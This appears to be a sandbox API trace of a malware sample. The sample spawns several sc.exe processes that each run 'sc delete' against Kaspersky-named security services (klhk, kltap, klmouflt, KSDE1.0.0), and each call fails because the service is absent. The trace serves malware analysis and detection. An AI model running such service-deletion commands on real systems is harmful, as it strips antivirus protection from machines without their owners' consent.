__set_app_type (_Type=0x1) [0078.435] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff5f7228) returned 0x0 [0078.435] __wgetmainargs (in: _Argc=0xff5fb604, _Argv=0xff5fb610, _Env=0xff5fb608, _DoWildCard=0, _StartInfo=0xff5fb050 | out: _Argc=0xff5fb604, _Argv=0xff5fb610, _Env=0xff5fb608) returned 0 [0078.436] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0078.438] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0078.438] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0078.438] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0078.438] _wcsicmp (_String1="delete", _String2="query") returned -13 [0078.438] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0078.438] _wcsicmp (_String1="delete", _String2="start") returned -15 [0078.438] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0078.438] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0078.438] _wcsicmp (_String1="delete", _String2="control") returned 1 [0078.438] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0078.438] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0078.438] _wcsicmp (_String1="delete", _String2="config") returned 1 [0078.438] _wcsicmp (_String1="delete", _String2="description") returned -7 [0078.438] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0078.439] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0078.439] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0078.439] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0078.439] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0078.439] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0078.439] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0078.439] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0078.439] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0078.439] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0078.439] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0078.439] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0078.439] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0078.439] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0078.439] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0078.439] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0078.439] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0078.439] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0078.439] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x3d4370 [0078.443] OpenServiceW (hSCManager=0x3d4370, lpServiceName="klkbdflt", dwDesiredAccess=0x10000) returned 0x0 [0078.444] GetLastError () returned 0x424 [0078.444] _itow (in: _Dest=0x424, _Radix=2291512 | out: _Dest=0x424) returned="1060" [0078.444] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff5fb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0078.445] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x22f6f0, nSize=0x2, Arguments=0x22f720 | out: lpBuffer="跀=") returned 0x62 [0078.446] GetFileType (hFile=0x120) returned 0x3 [0078.446] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x3d8ea0 [0078.446] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x3d8ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n=", lpUsedDefaultChar=0x0) returned 98 [0078.446] WriteFile (in: hFile=0x120, lpBuffer=0x3d8ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x22f698, lpOverlapped=0x0 | out: lpBuffer=0x3d8ea0*, lpNumberOfBytesWritten=0x22f698*=0x62, lpOverlapped=0x0) returned 1 [0078.446] LocalFree (hMem=0x3d8ea0) returned 0x0 [0078.446] LocalFree (hMem=0x3d8dc0) returned 0x0 [0078.446] LocalFree (hMem=0x0) returned 0x0 [0078.446] CloseServiceHandle (hSCObject=0x3d4370) returned 1 [0078.448] exit (_Code=1060) Thread: id = 99 os_tid = 0xbbc Process: id = "50" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x45a10000" os_pid = "0xae4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete klmouflt" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 100 os_tid = 0xb10 [0078.502] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xafc50 | out: lpSystemTimeAsFileTime=0xafc50*(dwLowDateTime=0x382b48b0, dwHighDateTime=0x1d62786)) [0078.502] GetCurrentProcessId () returned 0xae4 [0078.502] GetCurrentThreadId () returned 0xb10 [0078.502] GetTickCount () returned 0x1149aca [0078.502] QueryPerformanceCounter (in: lpPerformanceCount=0xafc58 | out: lpPerformanceCount=0xafc58*=19837617705) returned 1 [0078.504] GetModuleHandleW (lpModuleName=0x0) returned 0xff300000 [0078.504] __set_app_type (_Type=0x1) [0078.504] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff307228) returned 0x0 [0078.504] __wgetmainargs (in: _Argc=0xff30b604, _Argv=0xff30b610, _Env=0xff30b608, _DoWildCard=0, _StartInfo=0xff30b050 | out: _Argc=0xff30b604, _Argv=0xff30b610, _Env=0xff30b608) returned 0 [0078.505] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0078.507] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0078.507] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0078.507] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0078.507] _wcsicmp (_String1="delete", _String2="query") returned -13 [0078.507] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0078.507] _wcsicmp (_String1="delete", _String2="start") returned -15 [0078.507] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0078.507] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0078.507] _wcsicmp (_String1="delete", _String2="control") returned 1 [0078.507] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0078.507] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0078.507] _wcsicmp (_String1="delete", _String2="config") returned 1 [0078.507] _wcsicmp (_String1="delete", _String2="description") returned -7 [0078.507] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0078.507] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0078.507] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0078.507] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0078.507] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0078.507] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0078.507] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0078.507] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0078.507] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0078.507] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0078.507] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0078.508] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0078.508] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0078.508] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0078.508] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0078.508] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0078.508] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0078.508] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0078.508] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x124370 [0078.515] OpenServiceW (hSCManager=0x124370, lpServiceName="klmouflt", dwDesiredAccess=0x10000) returned 0x0 [0078.516] GetLastError () returned 0x424 [0078.516] _itow (in: _Dest=0x424, _Radix=719544 | out: _Dest=0x424) returned="1060" [0078.516] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff30b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0078.518] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0xafa70, nSize=0x2, Arguments=0xafaa0 | out: lpBuffer="跀\x12") returned 0x62 [0078.518] GetFileType (hFile=0x120) returned 0x3 [0078.518] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x128ea0 [0078.518] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x128ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n\x12", lpUsedDefaultChar=0x0) returned 98 [0078.518] WriteFile (in: hFile=0x120, lpBuffer=0x128ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xafa18, lpOverlapped=0x0 | out: lpBuffer=0x128ea0*, lpNumberOfBytesWritten=0xafa18*=0x62, lpOverlapped=0x0) returned 1 [0078.518] LocalFree (hMem=0x128ea0) returned 0x0 [0078.518] LocalFree (hMem=0x128dc0) returned 0x0 [0078.518] LocalFree (hMem=0x0) returned 0x0 [0078.518] CloseServiceHandle (hSCObject=0x124370) returned 1 [0078.520] exit (_Code=1060) Thread: id = 101 os_tid = 0xa24 Process: id = "51" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x45919000" os_pid = "0xa28" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete klhk" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 102 os_tid = 0x7dc [0078.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x20fdf0 | out: lpSystemTimeAsFileTime=0x20fdf0*(dwLowDateTime=0x38372f90, dwHighDateTime=0x1d62786)) [0078.586] GetCurrentProcessId () returned 0xa28 [0078.586] GetCurrentThreadId () returned 0x7dc [0078.586] GetTickCount () returned 0x1149b18 [0078.586] QueryPerformanceCounter (in: lpPerformanceCount=0x20fdf8 | out: lpPerformanceCount=0x20fdf8*=19845993405) returned 1 [0078.587] GetModuleHandleW (lpModuleName=0x0) returned 0xff8c0000 [0078.587] __set_app_type (_Type=0x1) [0078.587] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff8c7228) returned 0x0 [0078.588] __wgetmainargs (in: _Argc=0xff8cb604, _Argv=0xff8cb610, _Env=0xff8cb608, _DoWildCard=0, _StartInfo=0xff8cb050 | out: _Argc=0xff8cb604, _Argv=0xff8cb610, _Env=0xff8cb608) returned 0 [0078.588] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0078.590] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0078.590] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0078.590] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0078.590] _wcsicmp (_String1="delete", _String2="query") returned -13 [0078.590] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0078.590] _wcsicmp (_String1="delete", _String2="start") returned -15 [0078.590] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0078.590] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0078.590] _wcsicmp (_String1="delete", _String2="control") returned 1 [0078.590] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0078.590] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0078.590] _wcsicmp (_String1="delete", _String2="config") returned 1 [0078.590] _wcsicmp (_String1="delete", _String2="description") returned -7 [0078.590] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0078.590] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0078.590] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0078.590] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0078.590] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0078.590] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0078.591] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0078.591] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0078.591] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0078.591] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0078.591] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0078.591] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0078.591] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0078.591] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0078.591] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0078.591] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0078.591] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0078.591] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0078.591] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x2e4360 [0078.595] OpenServiceW (hSCManager=0x2e4360, lpServiceName="klhk", dwDesiredAccess=0x10000) returned 0x0 [0078.595] GetLastError () returned 0x424 [0078.595] _itow (in: _Dest=0x424, _Radix=2161752 | out: _Dest=0x424) returned="1060" [0078.595] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff8cb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0078.597] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x20fc10, nSize=0x2, Arguments=0x20fc40 | out: lpBuffer="趰.") returned 0x62 [0078.597] GetFileType (hFile=0x120) returned 0x3 [0078.597] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x2e8e90 [0078.597] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x2e8e90, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n.", lpUsedDefaultChar=0x0) returned 98 [0078.597] WriteFile (in: hFile=0x120, lpBuffer=0x2e8e90*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x20fbb8, lpOverlapped=0x0 | out: lpBuffer=0x2e8e90*, lpNumberOfBytesWritten=0x20fbb8*=0x62, lpOverlapped=0x0) returned 1 [0078.598] LocalFree (hMem=0x2e8e90) returned 0x0 [0078.598] LocalFree (hMem=0x2e8db0) returned 0x0 [0078.598] LocalFree (hMem=0x0) returned 0x0 [0078.598] CloseServiceHandle (hSCObject=0x2e4360) returned 1 [0078.600] exit (_Code=1060) Thread: id = 103 os_tid = 0x618 Process: id = "52" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x4471e000" os_pid = "0xa38" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete \"KSDE1.0.0\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 104 os_tid = 0xac4 [0078.648] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1cf830 | out: lpSystemTimeAsFileTime=0x1cf830*(dwLowDateTime=0x3840b510, dwHighDateTime=0x1d62786)) [0078.648] GetCurrentProcessId () returned 0xa38 [0078.648] GetCurrentThreadId () returned 0xac4 [0078.648] GetTickCount () returned 0x1149b56 [0078.648] QueryPerformanceCounter (in: lpPerformanceCount=0x1cf838 | out: lpPerformanceCount=0x1cf838*=19852216376) returned 1 [0078.651] GetModuleHandleW (lpModuleName=0x0) returned 0xff1f0000 [0078.651] __set_app_type (_Type=0x1) [0078.651] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff1f7228) returned 0x0 [0078.651] __wgetmainargs (in: _Argc=0xff1fb604, _Argv=0xff1fb610, _Env=0xff1fb608, _DoWildCard=0, _StartInfo=0xff1fb050 | out: _Argc=0xff1fb604, _Argv=0xff1fb610, _Env=0xff1fb608) returned 0 [0078.652] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0078.654] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0078.654] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0078.654] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0078.654] _wcsicmp (_String1="delete", _String2="query") returned -13 [0078.654] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0078.654] _wcsicmp (_String1="delete", _String2="start") returned -15 [0078.654] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0078.654] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0078.654] _wcsicmp (_String1="delete", _String2="control") returned 1 [0078.654] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0078.654] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0078.654] _wcsicmp (_String1="delete", _String2="config") returned 1 [0078.654] _wcsicmp (_String1="delete", _String2="description") returned -7 [0078.654] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0078.654] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0078.654] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0078.654] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0078.654] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0078.654] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0078.654] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0078.654] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0078.654] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0078.654] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0078.654] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0078.654] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0078.654] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0078.655] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0078.655] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0078.655] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0078.655] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0078.655] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0078.655] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x2e4370 [0078.658] OpenServiceW (hSCManager=0x2e4370, lpServiceName="KSDE1.0.0", dwDesiredAccess=0x10000) returned 0x0 [0078.659] GetLastError () returned 0x424 [0078.659] _itow (in: _Dest=0x424, _Radix=1898136 | out: _Dest=0x424) returned="1060" [0078.659] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff1fb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0078.660] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x1cf650, nSize=0x2, Arguments=0x1cf680 | out: lpBuffer="跀.") returned 0x62 [0078.661] GetFileType (hFile=0x120) returned 0x3 [0078.661] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x2e8ea0 [0078.661] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x2e8ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n.", lpUsedDefaultChar=0x0) returned 98 [0078.661] WriteFile (in: hFile=0x120, lpBuffer=0x2e8ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x1cf5f8, lpOverlapped=0x0 | out: lpBuffer=0x2e8ea0*, lpNumberOfBytesWritten=0x1cf5f8*=0x62, lpOverlapped=0x0) returned 1 [0078.661] LocalFree (hMem=0x2e8ea0) returned 0x0 [0078.661] LocalFree (hMem=0x2e8dc0) returned 0x0 [0078.661] LocalFree (hMem=0x0) returned 0x0 [0078.661] CloseServiceHandle (hSCObject=0x2e4370) returned 1 [0078.663] exit (_Code=1060) Thread: id = 105 os_tid = 0xa68 Process: id = "53" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x45323000" os_pid = "0xa60" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete kltap" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 106 os_tid = 0x7b8 [0078.714] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x20f850 | out: lpSystemTimeAsFileTime=0x20f850*(dwLowDateTime=0x384a3a90, dwHighDateTime=0x1d62786)) [0078.714] GetCurrentProcessId () returned 0xa60 [0078.714] GetCurrentThreadId () returned 0x7b8 [0078.714] GetTickCount () returned 0x1149b94 [0078.714] QueryPerformanceCounter (in: lpPerformanceCount=0x20f858 | out: lpPerformanceCount=0x20f858*=19858748377) returned 1 [0078.715] GetModuleHandleW (lpModuleName=0x0) returned 0xff0f0000 [0078.715] __set_app_type (_Type=0x1) [0078.715] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff0f7228) returned 0x0 [0078.715] __wgetmainargs (in: _Argc=0xff0fb604, _Argv=0xff0fb610, _Env=0xff0fb608, _DoWildCard=0, _StartInfo=0xff0fb050 | out: _Argc=0xff0fb604, _Argv=0xff0fb610, _Env=0xff0fb608) returned 0 [0078.716] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0078.718] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0078.718] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0078.718] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0078.718] _wcsicmp (_String1="delete", _String2="query") returned -13 [0078.718] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0078.718] _wcsicmp (_String1="delete", _String2="start") returned -15 [0078.718] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0078.718] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0078.718] _wcsicmp (_String1="delete", _String2="control") returned 1 [0078.718] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0078.718] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0078.718] _wcsicmp (_String1="delete", _String2="config") returned 1 [0078.718] _wcsicmp (_String1="delete", _String2="description") returned -7 [0078.718] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0078.718] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0078.718] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0078.718] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0078.718] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0078.718] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0078.718] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0078.718] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0078.718] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0078.718] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0078.719] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0078.719] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0078.719] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0078.719] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0078.719] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0078.719] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0078.719] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0078.719] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0078.719] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x2a4370 [0078.722] OpenServiceW (hSCManager=0x2a4370, lpServiceName="kltap", dwDesiredAccess=0x10000) returned 0x0 [0078.723] GetLastError () returned 0x424 [0078.723] _itow (in: _Dest=0x424, _Radix=2160312 | out: _Dest=0x424) returned="1060" [0078.723] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff0fb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0078.725] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x20f670, nSize=0x2, Arguments=0x20f6a0 | out: lpBuffer="跀*") returned 0x62 [0078.725] GetFileType (hFile=0x120) returned 0x3 [0078.725] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x2a8ea0 [0078.725] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x2a8ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n*", lpUsedDefaultChar=0x0) returned 98 [0078.725] WriteFile (in: hFile=0x120, lpBuffer=0x2a8ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x2a8ea0*, lpNumberOfBytesWritten=0x20f618*=0x62, lpOverlapped=0x0) returned 1 [0078.725] LocalFree (hMem=0x2a8ea0) returned 0x0 [0078.725] LocalFree (hMem=0x2a8dc0) returned 0x0 [0078.725] LocalFree (hMem=0x0) returned 0x0 